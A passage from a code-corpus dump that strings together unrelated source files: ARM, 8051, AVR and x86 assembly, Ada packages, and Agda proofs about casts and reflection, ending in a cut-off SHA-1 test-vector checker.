? C Cortex-A8 ? C Cortex-A9 4.25 C Cortex-A15 2.5 C TODO C * Try using umlal or umaal. C * Try using ldm/stm. define(`qp', `r0') define(`up', `r1') define(`n', `r2') define(`bd', `r3') define(`cy', `sp,#0') ASM_START() TEXT ALIGN(16) PROLOGUE(mpn_bdiv_dbm1c) push {r4, r5, r6, r7, r8} ldr r4, [up], #4 ldr r5, [sp, #20] ands r12, n, #3 beq L(fi0) cmp r12, #2 bcc L(fi1) beq L(fi2) L(fi3): umull r8, r12, r4, bd ldr r4, [up], #4 b L(lo3) L(fi0): umull r6, r7, r4, bd ldr r4, [up], #4 b L(lo0) L(fi1): subs n, n, #1 umull r8, r12, r4, bd bls L(wd1) ldr r4, [up], #4 b L(lo1) L(fi2): umull r6, r7, r4, bd ldr r4, [up], #4 b L(lo2) L(top): ldr r4, [up], #4 subs r5, r5, r6 str r5, [qp], #4 sbc r5, r5, r7 L(lo1): umull r6, r7, r4, bd ldr r4, [up], #4 subs r5, r5, r8 str r5, [qp], #4 sbc r5, r5, r12 L(lo0): umull r8, r12, r4, bd ldr r4, [up], #4 subs r5, r5, r6 str r5, [qp], #4 sbc r5, r5, r7 L(lo3): umull r6, r7, r4, bd ldr r4, [up], #4 subs r5, r5, r8 str r5, [qp], #4 sbc r5, r5, r12 L(lo2): subs n, n, #4 umull r8, r12, r4, bd bhi L(top) L(wd2): subs r5, r5, r6 str r5, [qp], #4 sbc r5, r5, r7 L(wd1): subs r5, r5, r8 str r5, [qp] sbc r0, r5, r12 pop {r4, r5, r6, r7, r8} bx lr EPILOGUE()
src/annee.adb
zdimension/tdinfo302
0
23531
<filename>src/annee.adb package body annee is function Est_Bissextile (Annee : Integer) return Boolean is begin return (Annee Mod 4 = 0 And Annee Mod 100 /= 0) Or Annee Mod 400 = 0; end Est_Bissextile; end annee;
awa/plugins/awa-changelogs/src/awa-changelogs-modules.adb
fuzzysloth/ada-awa
81
7707
<gh_stars>10-100 ----------------------------------------------------------------------- -- awa-changelogs-modules -- Module changelogs -- Copyright (C) 2014 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Calendar; with Util.Log.Loggers; with AWA.Modules.Get; with AWA.Users.Models; with AWA.Services.Contexts; with AWA.Changelogs.Models; with ADO.Sessions; with ADO.Sessions.Entities; package body AWA.Changelogs.Modules is package ASC renames AWA.Services.Contexts; Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("Awa.Changelogs.Module"); -- ------------------------------ -- Initialize the changelogs module. -- ------------------------------ overriding procedure Initialize (Plugin : in out Changelog_Module; App : in AWA.Modules.Application_Access; Props : in ASF.Applications.Config) is begin Log.Info ("Initializing the changelogs module"); AWA.Modules.Module (Plugin).Initialize (App, Props); -- Add here the creation of manager instances. end Initialize; -- ------------------------------ -- Get the changelogs module. -- ------------------------------ function Get_Changelog_Module return Changelog_Module_Access is function Get is new AWA.Modules.Get (Changelog_Module, Changelog_Module_Access, NAME); begin return Get; end Get_Changelog_Module; -- ------------------------------ -- Add the log message and associate it with the database entity identified by -- the given id and the entity type. The log message is associated with the current user. -- ------------------------------ procedure Add_Log (Model : in Changelog_Module; Id : in ADO.Identifier; Entity_Type : in String; Message : in String) is pragma Unreferenced (Model); Ctx : constant ASC.Service_Context_Access := ASC.Current; User : constant AWA.Users.Models.User_Ref := Ctx.Get_User; DB : ADO.Sessions.Master_Session := AWA.Services.Contexts.Get_Master_Session (Ctx); Kind : ADO.Entity_Type; History : AWA.Changelogs.Models.Changelog_Ref; begin Ctx.Start; Kind := ADO.Sessions.Entities.Find_Entity_Type (DB, Entity_Type); History.Set_For_Entity_Id (Id); History.Set_User (User); History.Set_Date (Ada.Calendar.Clock); History.Set_Entity_Type (Kind); History.Set_Text (Message); History.Save (DB); DB.Commit; end Add_Log; end AWA.Changelogs.Modules;
EEL7030/Rep CAEE/Mic 8051/Lab02/exercicio2/Lab2.2.asm
GSimas/MicroC
0
92368
RESET EQU 0H VETOR EQU 60H ORG RESET MOV R3,#0 MOV DPTR,#NRO ; endereco nro parcelas a ser somado MOV A,#0 MOVC A,@A+DPTR JZ FIM MOV R1,A ; R1 = nro parcelas a ser somado MOV DPTR,#DADOS ; dados a serem somados MOV R2,#0 ; guarda resultado VOLTA: MOV A,R3 MOVC A,@A+DPTR ; le parcela ADD A,R2 MOV R2,A INC R3 DJNZ R1,VOLTA MOV DPTR,#0001H MOVX @DPTR,A FIM: JMP FIM ORG VETOR NRO: DB 06H DADOS: DB 01H,03H,05H,06H,0AH,0F2H END
test/fail/UnquoteSetOmega.agda
larrytheliquid/agda
1
3718
{-# OPTIONS --universe-polymorphism #-} open import Common.Prelude open import Common.Level open import Common.Reflect module UnquoteSetOmega where `Level : Term `Level = def (quote Level) [] ``Level : Type ``Level = el (lit 0) `Level -- while building the syntax of ∀ ℓ → Set ℓ (of type Setω) is harmless `∀ℓ→Setℓ : Term `∀ℓ→Setℓ = pi (arg (arginfo visible relevant) ``Level) (el (lit 0) (sort (set (var 0 [])))) -- unquoting it is harmfull ∀ℓ→Setℓ = unquote `∀ℓ→Setℓ
DemoKeypad.asm
igormiktor/ASM_Playground
0
8593
<reponame>igormiktor/ASM_Playground<gh_stars>0 ; *********************************************************************************** ; ; Operate an 4x4 KeyPad ; Detect key hit and flash LEDs accordingly. ; ; The MIT License (MIT) ; ; Copyright (c) 2020 <NAME> ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; *********************************************************************************** .device "ATmega328p" ; ********************************** ; P O R T S A N D P I N S ; ********************************** ; Green LED pin .equ pGreenLedDirD = DDRC .equ pGreenLedDirDBit = DDC3 .equ pGreenLedPort = PORTC .equ pGreenLedPortBit = PORTC3 .equ pGreenLedPin = PINC .equ pGreenLedPinBit = PINC3 ; Red LED pin .equ pRedLedDirD = DDRC .equ pRedLedDirDBit = DDC2 .equ pRedLedPort = PORTC .equ pRedLedPortBit = PORTC2 .equ pRedLedPin = PINC .equ pRedLedPinBit = PINC2 ; Interrupt pin .equ pInt0DirD = DDRD .equ pInt0DirDBit = DDD2 .equ pInt0Port = PORTD .equ pInt0PortBit = PORTD2 .equ pInt0Pin = PIND .equ pInt0PinBit = PIND2 ; Keypad uses D4-D7 (columns) and B0-3 (rows) an D2 for INT0 ; Keypad row pins are Port B pins 0-3 .equ pRowDirD = DDRB .equ pRowPort = PORTB .equ pRowPin = PINB .equ kRowBitsOnes = 0x0F .equ kRowBitsZeros = 0xF0 ; Keypad row pin bits .equ kRow1 = 3 .equ kRow2 = 2 .equ kRow3 = 1 .equ kRow4 = 0 ; Keypad column pins are Port D pins 4-7 .equ pColDirD = DDRD .equ pColPort = PORTD .equ pColPin = PIND .equ kColBitsOnes = 0xF0 .equ kColBitsZeros = 0x0F ; Keypad columns pin bits .equ kCol1 = 7 .equ kCol2 = 6 .equ kCol3 = 5 .equ kCol4 = 4 ; ********************************** ; C O N S T A N T S ; ********************************** ; *************************************** ; R E G I S T E R P O L I C Y ; *************************************** .def rScratch1 = r2 ; Scratch (low) register .def rScratch2 = r3 ; Scratch (low) register .def rBinWordL = r4 ; Argument for ASCII conversion .def rBinWordH = r5 ; Argument for ASCII conversion .def rLoop1 = r14 ; Loop counter .def rSREG = r15 ; Save/Restore status port .def rTmp1 = r16 ; Multipurpose register .def rTmp2 = r17 ; Multipurpose register .def rDWMSOuter = r16 ; Subroutine delayMilliSeconds .def rKey = r18 ; Index of key hit, used to look value in Key Table .def rArgByte0 = r24 ; For now using C register conventions for function calls .def rArgByte1 = r25 ; Second byte arg, or high byte of word arg .def rDelayUsL = r24 ; Subroutine delayMicroSeconds .def rDelayUsH = r25 ; Subroutine delayMicroSeconds .def rMillisL = r24 ; Subroutine delayMilliSeconds .def rMillisH = r25 ; Subroutine delayMilliSeconds .def r10ths = r24 ; Subroutine delayTenthsOfSeconds .def rDTSOuter = r25 ; Subroutine delayTenthsOfSeconds .def rDWMSInnerL = r26 ; Subroutine delayMilliSeconds .def rDWMSInnerH = r27 ; Subroutine delayMilliSeconds .def rDTSInnerL = r26 ; Subroutine delayTenthsOfSeconds .def rDTSInnerH = r27 ; Subroutine delayTenthsOfSeconds ; ********************************** ; M A C R O ; ********************************** ; Arguments: @0 = tmp reg to use (upper half) .macro initializeStack .ifdef SPH ldi @0, High( RAMEND ) out SPH, @0 ; Upper byte of stack pointer (always load high-byte first) .endif ldi @0, Low( RAMEND ) out SPL, @0 ; Lower byte of stack pointer .endm ; ********************************** ; M A C R O ; ********************************** ; Arguments: @0 = register base name, @1 = 16-bit constant .macro ldiw ldi @0H, High( @1 ) ldi @0L, Low( @1 ) .endm ; ********************************** ; M A C R O ; ********************************** ; Arguments: @0 = number of microseconds to delay (16-bit word) .macro delayMicroSecondsM ldi rArgByte1, High( @0 ) ldi rArgByte0, Low( @0 ) call delayMicroSeconds .endm ; ********************************** ; M A C R O ; ********************************** ; Arguments: @0 = number of milliseconds to delay (word value) .macro delayMilliSecondsM ldi rArgByte1, High( @0 ) ldi rArgByte0, Low( @0 ) call delayMilliSeconds .endm ; ********************************** ; M A C R O ; ********************************** ; Arguments: @0 = number of tenths of seconds to delay (byte value) .macro delayTenthsOfSecondsM ldi rArgByte0, Low( @0 ) call delayTenthsOfSeconds .endm ; ********************************** ; D A T A S E G M E N T ; ( S R A M ) ; ********************************** .dseg .org SRAM_START sStaticDataBegin: sKeyPadTable: .byte 16 sStaticDataEnd: ; ********************************** ; C O D E S E G M E N T ; ********************************** .cseg .org 0x00 ; ************************************ ; I N T E R R U P T V E C T O R S ; ************************************ .org 0x00 rjmp main ; Reset vector .org 0x02 reti ; INT0 .org 0x04 reti ; INT1 .org 0x06 reti ; PCI0 .org 0x08 reti ; PCI1 .org 0x0A reti ; PCI2 .org 0x0C reti ; WDT .org 0x0E reti ; OC2A .org 0x10 reti ; OC2B .org 0x12 reti ; OVF2 .org 0x14 reti ; ICP1 .org 0x16 reti ; OC1A .org 0x18 reti ; OC1B .org 0x1A reti ; OVF1 .org 0x1C reti ; OC0A .org 0x1E reti ; OC0B .org 0x20 reti ; OVF0 .org 0x22 reti ; SPI .org 0x24 reti ; URXC .org 0x26 reti ; UDRE .org 0x28 reti ; UTXC .org 0x2A reti ; ADCC .org 0x2C reti ; ERDY .org 0x2E reti ; ACI .org 0x30 reti ; TWI .org 0x32 reti ; SPMR .org 0x34 ; *************************************** ; D A T A I N C O D E S E G ; *************************************** ; Rem: data in codeseg stored and addressed by words (not bytes) dStaticDataBegin: ; Look up table for key conversion .db 1, 2, 3, 15, 4, 5, 6, 14, 7, 8, 9, 13, 10, 0, 11, 12 dStaticDataEnd: .equ kdStaticDataLen = 2 * ( dStaticDataEnd - dStaticDataBegin ) ; *************************************** ; I N T E R R U P T H A N D L E R S ; *************************************** ; *************************************** ; M A I N ( R E S E T ) ; *************************************** main: initializeStack rTmp1 rcall initStaticData ; Move static data from PROGMEM to SRAM ; Initialize LEDs sbi pGreenLedDirD, pGreenLedDirDBit cbi pGreenLedPort, pGreenLedPortBit sbi pRedLedDirD, pRedLedDirDBit cbi pRedLedPort, pRedLedPortBit ; Flash the LEDs sbi pGreenLedPort, pGreenLedPortBit sbi pRedLedPort, pRedLedPortBit delayTenthsOfSecondsM 20 cbi pGreenLedPort, pGreenLedPortBit cbi pRedLedPort, pRedLedPortBit ; Configure the keypad to accept inputs rcall doConfigureKeypad mainLoop: ; Look for rows to go low in rTmp1, pRowPin andi rTmp1, kRowBitsOnes cpi rTmp1, kRowBitsOnes breq mainLoop rcall doKeyHit rjmp mainLoop ; ********************************** ; S U B R O U T I N E ; ********************************** doKeyHit: rcall doScanKeyPad rcall doFlashLeds ret ; ********************************** ; S U B R O U T I N E ; ********************************** doFlashLeds: ldiw Z, sKeyPadTable ; Read number corresponding to key from SRAM add ZL, rKey clr rTmp2 ; Doesn't affect carry flag adc ZH, rTmp2 ld rTmp2, Z ; rTmp2 holds the value of the key tst rTmp2 ; Is it zero? breq flashZero ; ...then flash the red LED flashGreenLed: ; Flash green LED 'rTmp2' times sbi pGreenLedPort, pGreenLedPortBit delayMilliSecondsM 250 cbi pGreenLedPort, pGreenLedPortBit delayMilliSecondsM 300 dec rTmp2 brne flashGreenLed rjmp flashExit flashZero: sbi pRedLedPort, pRedLedPortBit ; "0" is a single long flash of red LED delayMilliSecondsM 2000 cbi pRedLedPort, pRedLedPortBit flashExit: ret ; ********************************** ; S U B R O U T I N E ; ********************************** doScanKeyPad: sbis pRowPin, kRow1 ; Find row of keypress ldi rKey, 0 ; Set Row pointer sbis pRowPin, kRow2 ldi rKey, 4 sbis pRowPin, kRow3 ldi rKey, 8 sbis pRowPin, kRow4 ldi rKey, 12 ; To read the column value need to flip the configuration of rows & columns ; Reconfigure rows in rTmp1, pRowDirD ; Change Rows to outputs ori rTmp1, kRowBitsOnes out pRowDirD, rTmp1 in rTmp1, pColDirD ; Change Columns to inputs andi rTmp1, kColBitsZeros out pColDirD, rTmp1 ; Reconfigure columns in rTmp1, pRowPort ; Set Rows low andi rTmp1, kRowBitsZeros out pRowPort, rTmp1 in rTmp1, pColPort ; Set pull-up resistors on Cols ori rTmp1, kColBitsOnes out pColPort, rTmp1 delayMicroSecondsM 200 ; Allow time for port to settle sbis pColPin, kCol1 ; Find column of keypress ldi rTmp1, 0 sbis pColPin, kCol2 ldi rTmp1, 1 sbis pColPin, kCol3 ldi rTmp1, 2 sbis pColPin, kCol4 ldi rTmp1, 3 add rKey, rTmp1 ; Combine ROW and COL for pointer ; Re-initialize columns and rows rcall doConfigureKeypad ret ; ********************************** ; S U B R O U T I N E ; ********************************** initStaticData: ; Copy the static strings into SRAM ; Z = pointer to program memory ; X = pointer to SRAM ; rTmp1 = counter ; rScratch1 = transfer register ; Set up pointers to read from PROGMEM to SRAM ldi rTmp1, kdStaticDataLen ldiw Z, dStaticDataBegin << 1 ldiw X, sStaticDataBegin initStaticData_Loop: ; Actual transfer loop from PROGMEM to SRAM lpm rScratch1, Z+ st X+, rScratch1 dec rTmp1 brne initStaticData_Loop ret ; ********************************** ; S U B R O U T I N E ; ********************************** doConfigureKeypad: ; Configure the keybad to accept inputs ; rTmp1 = used as a scratch register ; Configure keypad column pins in rTmp1, pColDirD ; Set PD4-PD7, columns, as output (others unchanged) ori rTmp1, kColBitsOnes out pColDirD, rTmp1 in rTmp1, pColPort ; Set PD4-PD7 as low andi rTmp1, kColBitsZeros out pColPort, rTmp1 ; Configure keypad row pins in rTmp1, pRowDirD ; Set PB0-PB3, rows, as input andi rTmp1, kRowBitsZeros out pRowDirD, rTmp1 in rTmp1, pRowPort ; Enable pull ups on PB0-PB3 ori rTmp1, kRowBitsOnes out pRowPort, rTmp1 delayMicroSecondsM 200 ; Allow time for port to settle ret ; ********************************** ; S U B R O U T I N E ; ********************************** delayMicroSeconds: ; Register r25:24 is passed as parameter (the number of microseconds to delay) ; r24 = LSB microseconds to delay ; r25 = MSB microseconds to delay ; 1 microsecond = 16 cycles. ; Call/return overhead takes 7-8 cycles (depending on rcall or call). ; So burn up 8 more cycles (not counting the ret) to make a whole microsecond, including ; a check to see if we are done (i.e., the request was a 1us delay). ; Then do a loop that burns 16 cycles each time nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle sbiw rDelayUsH:rDelayUsL, 1 ; 2 cycles breq delayMicroseconds_Ret ; 1 cycle if false/continue, 2 cycles (8 total) if true/branch nop ; 1 cycle (8 total) delayMicroseconds_Loop: nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle nop ; 1 cycle sbiw rDelayUsH:rDelayUsL, 1 ; 2 cycles brne delayMicroseconds_Loop ; 2 cycles (16 total) on true/loop, 1 cycle on false/exit_loop nop ; 1 cycle (so total 16 on exit from last loop) delayMicroseconds_Ret: ret ;; ********************************** ; S U B R O U T I N E ; ********************************** delayMilliSeconds: ; Register r25:r24 (milliSecCounter) is passed as parameter ; r24 = number of milliseconds to count (comes in as argument) ; = number of times to execute the outer+inner loops combined ; r25 = outer loop counter byte ; r26 = low byte of inner loop counter word ; r27 = high byte of inner loop counter word ; Executing the following combination of inner and outer loop cycles takes almost precisely 1 millisecond at 16 MHz .equ kDWMSOuterCount = 2 .equ kDWMSInnerCount = 1997 ; Top of loop for number of milliseconds DWMS_Loop1: ; Initialize outer loop (uses a byte counter and counts down) ldi rDWMSOuter, kDWMSOuterCount ; Top of outer loop DWMS_Loop2: ; Initialze inner loop (uses a word counter and counts down) ldiw rDWMSInner, kDWMSInnerCount ; Top of inner loop DWMS_Loop3: ; Decrement and test inner loop sbiw rDWMSInnerL:rDWMSInnerL, 1 brne DWMS_Loop3 ; Done with inner loop ; Decrement and test outer loop dec rDWMSOuter brne DWMS_Loop2 ; Done with outer loop ; Decrement and test millisecond loop sbiw rMillisH:rMillisL, 1 brne DWMS_Loop1 ; Done with the requested number of milliseconds ret ; ********************************** ; S U B R O U T I N E ; ********************************** delayTenthsOfSeconds: ; Register r24 (tenthOfSecCounter) is passed as parameter ; r24 = number of tenths-of-seconds to count (comes in as argument) ; = number of times to execute the outer+inner loops combined ; r25 = outer loop counter byte ; r26 = low byte of inner loop counter word ; r27 = high byte of inner loop counter word ; Executing the following combination of inner and outer loop cycles takes almost precisely 0.1 seconds at 16 Mhz .equ kDTSOuterCount = 7 .equ kDTSInnerCount = 57142 ; Top of loop for number of tenths-of-seconds DTS_Loop1: ; Initialize outer loop (uses a byte counter and counts down) ldi rDTSOuter, kDTSOuterCount ; Top of outer loop DTS_Loop2: ; Initialze inner loop (uses a word counter and counts down) ldiw rDTSInner, kDTSInnerCount ; Top of inner loop DTS_Loop3: ; Decrement and test inner loop sbiw rDTSInnerH:rDTSInnerL, 1 brne DTS_Loop3 ; Done with inner loop ; Decrement and test outer loop dec rDTSOuter brne DTS_Loop2 ; Done with outer loop ; Decrement and test tenth-of-second loop dec r10ths brne DTS_Loop1 ; Done with the requested number of tenths-of-seconds ret
cast-inert.agda
hazelgrove/hazelnut-agda
0
2561
open import Nat open import Prelude open import dynamics-core open import contexts open import typed-elaboration open import lemmas-gcomplete open import lemmas-complete open import progress-checks open import finality module cast-inert where -- if a term is compelete and well typed, then the casts inside are all -- identity casts and there are no failed casts cast-inert : ∀{Δ Γ d τ} → d dcomplete → Δ , Γ ⊢ d :: τ → cast-id d cast-inert dc TANum = CINum cast-inert (DCPlus dc dc₁) (TAPlus wt wt₁) = CIPlus (cast-inert dc wt) (cast-inert dc₁ wt₁) cast-inert dc (TAVar x₁) = CIVar cast-inert (DCLam dc x₁) (TALam x₂ wt) = CILam (cast-inert dc wt) cast-inert (DCAp dc dc₁) (TAAp wt wt₁) = CIAp (cast-inert dc wt) (cast-inert dc₁ wt₁) cast-inert (DCInl x dc) (TAInl wt) = CIInl (cast-inert dc wt) cast-inert (DCInr x dc) (TAInr wt) = CIInr (cast-inert dc wt) cast-inert (DCCase dc dc₁ dc₂) (TACase wt x wt₁ x₁ wt₂) = CICase (cast-inert dc wt) (cast-inert dc₁ wt₁) (cast-inert dc₂ wt₂) cast-inert (DCPair dc dc₁) (TAPair wt wt₁) = CIPair (cast-inert dc wt) (cast-inert dc₁ wt₁) cast-inert (DCFst dc) (TAFst wt) = CIFst (cast-inert dc wt) cast-inert (DCSnd dc) (TASnd wt) = CISnd (cast-inert dc wt) cast-inert () (TAEHole x x₁) cast-inert () (TANEHole x wt x₁) cast-inert (DCCast dc x x₁) (TACast wt x₂) with complete-consistency x₂ x x₁ ... | refl = CICast (cast-inert dc wt) cast-inert () (TAFailedCast wt x x₁ x₂) -- in a well typed complete internal expression, every cast is the -- identity cast. complete-casts : ∀{Γ Δ d τ1 τ2} → Γ , Δ ⊢ d ⟨ τ1 ⇒ τ2 ⟩ :: τ2 → d ⟨ τ1 ⇒ τ2 ⟩ dcomplete → τ1 == τ2 complete-casts wt comp with cast-inert comp wt complete-casts wt comp | CICast qq = refl -- relates expressions to the same thing with all identity casts -- removed. note that this is a syntactic rewrite and it goes under -- binders. data no-id-casts : ihexp → ihexp → Set where NICNum : ∀{n} → no-id-casts (N n) (N n) NICPlus : ∀{d1 d2 d1' d2'} → no-id-casts d1 d1' → no-id-casts d2 d2' → no-id-casts (d1 ·+ d2) (d1' ·+ d2') NICVar : ∀{x} → no-id-casts (X x) (X x) NICLam : ∀{x τ d d'} → no-id-casts d d' → no-id-casts (·λ x ·[ τ ] d) (·λ x ·[ τ ] d') NICAp : ∀{d1 d2 d1' d2'} → no-id-casts d1 d1' → no-id-casts d2 d2' → no-id-casts (d1 ∘ d2) (d1' ∘ d2') NICInl : ∀{d τ d'} → no-id-casts d d' → no-id-casts (inl τ d) (inl τ d') NICInr : ∀{d τ d'} → no-id-casts d d' → no-id-casts (inr τ d) (inr τ d') NICCase : ∀{d x d1 y d2 d' d1' d2'} → no-id-casts d d' → no-id-casts d1 d1' → no-id-casts d2 d2' → no-id-casts (case d x d1 y d2) (case d' x d1' y d2') NICPair : ∀{d1 d2 d1' d2'} → no-id-casts d1 d1' → no-id-casts d2 d2' → no-id-casts ⟨ d1 , d2 ⟩ ⟨ d1' , d2' ⟩ NICFst : ∀{d d'} → no-id-casts d d' → no-id-casts (fst d) (fst d') NICSnd : ∀{d d'} → no-id-casts d d' → no-id-casts (snd d) (snd d') NICHole : ∀{u} → no-id-casts (⦇-⦈⟨ u ⟩) (⦇-⦈⟨ u ⟩) NICNEHole : ∀{d d' u} → no-id-casts d d' → no-id-casts (⦇⌜ d ⌟⦈⟨ u ⟩) (⦇⌜ d' ⌟⦈⟨ u ⟩) NICCast : ∀{d d' τ} → no-id-casts d d' → no-id-casts (d ⟨ τ ⇒ τ ⟩) d' NICFailed : ∀{d d' τ1 τ2} → no-id-casts d d' → no-id-casts (d ⟨ τ1 ⇒⦇-⦈⇏ τ2 ⟩) (d' ⟨ τ1 ⇒⦇-⦈⇏ τ2 ⟩) -- removing identity casts doesn't change the type no-id-casts-type : ∀{Γ Δ d τ d' } → Δ , Γ ⊢ d :: τ → no-id-casts d d' → Δ , Γ ⊢ d' :: τ no-id-casts-type TANum NICNum = TANum no-id-casts-type (TAPlus wt wt₁) (NICPlus nic nic₁) = TAPlus (no-id-casts-type wt nic) (no-id-casts-type wt₁ nic₁) no-id-casts-type (TAVar x₁) NICVar = TAVar x₁ no-id-casts-type (TALam x₁ wt) (NICLam nic) = TALam x₁ (no-id-casts-type wt nic) no-id-casts-type (TAAp wt wt₁) (NICAp nic nic₁) = TAAp (no-id-casts-type wt nic) (no-id-casts-type wt₁ nic₁) no-id-casts-type (TAInl wt) (NICInl nic) = TAInl (no-id-casts-type wt nic) no-id-casts-type (TAInr wt) (NICInr nic) = TAInr (no-id-casts-type wt nic) no-id-casts-type (TACase wt x wt₁ x₁ wt₂) (NICCase nic nic₁ nic₂) = TACase (no-id-casts-type wt nic) x (no-id-casts-type wt₁ nic₁) x₁ (no-id-casts-type wt₂ nic₂) no-id-casts-type (TAPair wt wt₁) (NICPair nic nic₁) = TAPair (no-id-casts-type wt nic) (no-id-casts-type wt₁ nic₁) no-id-casts-type (TAFst wt) (NICFst nic) = TAFst (no-id-casts-type wt nic) no-id-casts-type (TASnd wt) (NICSnd nic) = TASnd (no-id-casts-type wt nic) no-id-casts-type (TAEHole x x₁) NICHole = TAEHole x x₁ no-id-casts-type (TANEHole x wt x₁) (NICNEHole nic) = TANEHole x (no-id-casts-type wt nic) x₁ no-id-casts-type (TACast wt x) (NICCast nic) = no-id-casts-type wt nic no-id-casts-type (TAFailedCast wt x x₁ x₂) (NICFailed nic) = TAFailedCast (no-id-casts-type wt nic) x x₁ x₂
tests/src/test_utils-abstract_decoder.ads
Fabien-Chouteau/COBS
0
1828
package Test_Utils.Abstract_Decoder is subtype Parent is Test_Utils.Abstract_Data_Processing; type Instance is abstract limited new Parent with private; type Acc is access all Instance; type Any_Acc is access all Instance'Class; procedure Receive (This : in out Instance; Data : Storage_Element) is abstract; -- This procedure is called when there is new data to process procedure Update (This : in out Instance) is abstract; -- This procedure is called regularely during test to let processing -- abstraction handle pending data, if any. procedure End_Of_Test (This : in out Instance) is abstract; -- This procedure is called at the end of the test, before collecting the -- output data frames. private type Instance is abstract limited new Parent with null record; end Test_Utils.Abstract_Decoder;
ecdsa128/src/SHA1_src/SHA1_VS/src/SHA_short.asm
FloydZ/Crypto-Hash
11
241690
<filename>ecdsa128/src/SHA1_src/SHA1_VS/src/SHA_short.asm ; Very simple wrapper for SHA1ShortMsg.txt ; ; Note: ; First message on list has length ZERO, however its represented in test vectors as string 00. ; This wrapper reads *ONLY* messages and valid hashes from test vectors, THE LENGHT OF MESSAGES ; IS DIRECTLY COMPUTED AS NUMBERS OF BYTES READ. ; Thats why it uses additional check to correctly support this special situation: ; if 1-byte message was found in the test vectors and if its 0x00, sha1 from ZERO LENGHT string ; is computed. It is NOT a bug in sha1 code, its just a way the wrapper works. ; ; .686p .mmx .model flat,stdcall option casemap:none include g:\masm32\include\windows.inc include g:\masm32\include\user32.inc include g:\masm32\include\kernel32.inc include g:\masm32\include\oleaut32.inc include g:\masm32\include\comctl32.inc include g:\masm32\include\advapi32.inc includelib g:\masm32\lib\user32.lib includelib g:\masm32\lib\kernel32.lib includelib g:\masm32\lib\oleaut32.lib includelib g:\masm32\lib\comctl32.lib includelib g:\masm32\lib\advapi32.lib include ..\lib\sha1.inc include ..\lib\utils.inc readLine PROTO :DWORD, :DWORD, :DWORD printHash PROTO :DWORD printLine PROTO :DWORD compareHash PROTO :DWORD, :DWORD .data? _BUFFER db 14000h dup (?) _HASH db 20 dup (?) _LEN dd ? .data szErrorFile db "Cannot read " szSHALongMsgFile db "SHA1ShortMsg.txt",0 szSHAError db "Invalid hash found !!",0 szSHAOk db "All hashes are valid.",0 .code start: pushad invoke CreateFile, offset szSHALongMsgFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 mov ebx, eax inc eax jz @errFile invoke CreateFileMapping, ebx, 0, PAGE_READONLY, 0, 0, 0 mov esi, eax invoke MapViewOfFile, esi, FILE_MAP_READ, 0, 0, 0 mov edi, eax xor ecx, ecx xor edx, edx @mainLoop: invoke readLine, eax, offset _BUFFER, offset _LEN ;READ MSG invoke sha1, offset _HASH, dword ptr [_LEN], offset _BUFFER invoke printHash, offset _HASH invoke readLine, eax, offset _BUFFER, offset _LEN ;READ HASH invoke compareHash, offset _HASH, offset _BUFFER jz @F inc ecx @@: inc edx cmp edx, 65 jnz @mainLoop mov _LEN, ecx invoke UnmapViewOfFile, edi invoke CloseHandle, esi invoke CloseHandle, ebx cmp _LEN, 0 jz @all_ok invoke printLine, offset szSHAError jmp @return @all_ok: invoke printLine, offset szSHAOk jmp @return @errFile: invoke printLine, offset szErrorFile @return: popad ret readLine proc ptrStart:DWORD, ptrOut:DWORD, ptrlenOut:DWORD pushad mov esi, ptrStart mov edi, ptrOut xor ebx, ebx ;flag @tryAgain: cmp byte ptr [esi], "#" jz @goEOL cmp word ptr [esi], 0A0Dh jz @goEOL cmp byte ptr [esi], "[" jz @goEOL cmp dword ptr [esi], " neL" jz @goEOL cmp dword ptr [esi], " gsM" jz @readMsg cmp dword ptr [esi], "= DM" jz @readMd @@: inc esi @goEOL: cmp word ptr [esi], 0A0Dh jnz @B add esi, 2 test ebx, ebx jz @tryAgain ;---------------------------------------- cmp ebx, 1 ; jnz @done ; cmp byte ptr [edi-1], 0 ; THE ADDITIONAL CHECK! jnz @done ; dec ebx ; ;---------------------------------------- @done: mov eax, ptrlenOut mov dword ptr [esp+28], esi mov dword ptr [eax], ebx popad ret @readMd: add esi, 5 jmp @readMore @readMsg: add esi, 6 ;esi = ptr Msg ;edi = ptrOut @readMore: mov al, byte ptr [esi] cmp al, 39h jbe @F sub al, ("a" - 0Ah - 30h) @@: sub al, 30h shl al, 4 mov ah, byte ptr [esi+1] cmp ah, 39h jbe @F sub ah, ("a" - 0Ah - 30h) @@: sub ah, 30h or al, ah mov byte ptr [edi], al inc edi add esi, 2 inc ebx cmp word ptr [esi], 0A0Dh jz @goEOL jmp @readMore readLine endp compareHash proc ptrH1:DWORD, ptrH2:DWORD pushad mov esi, ptrH1 mov eax, dword ptr [esi ] mov ebx, dword ptr [esi+ 4] mov ecx, dword ptr 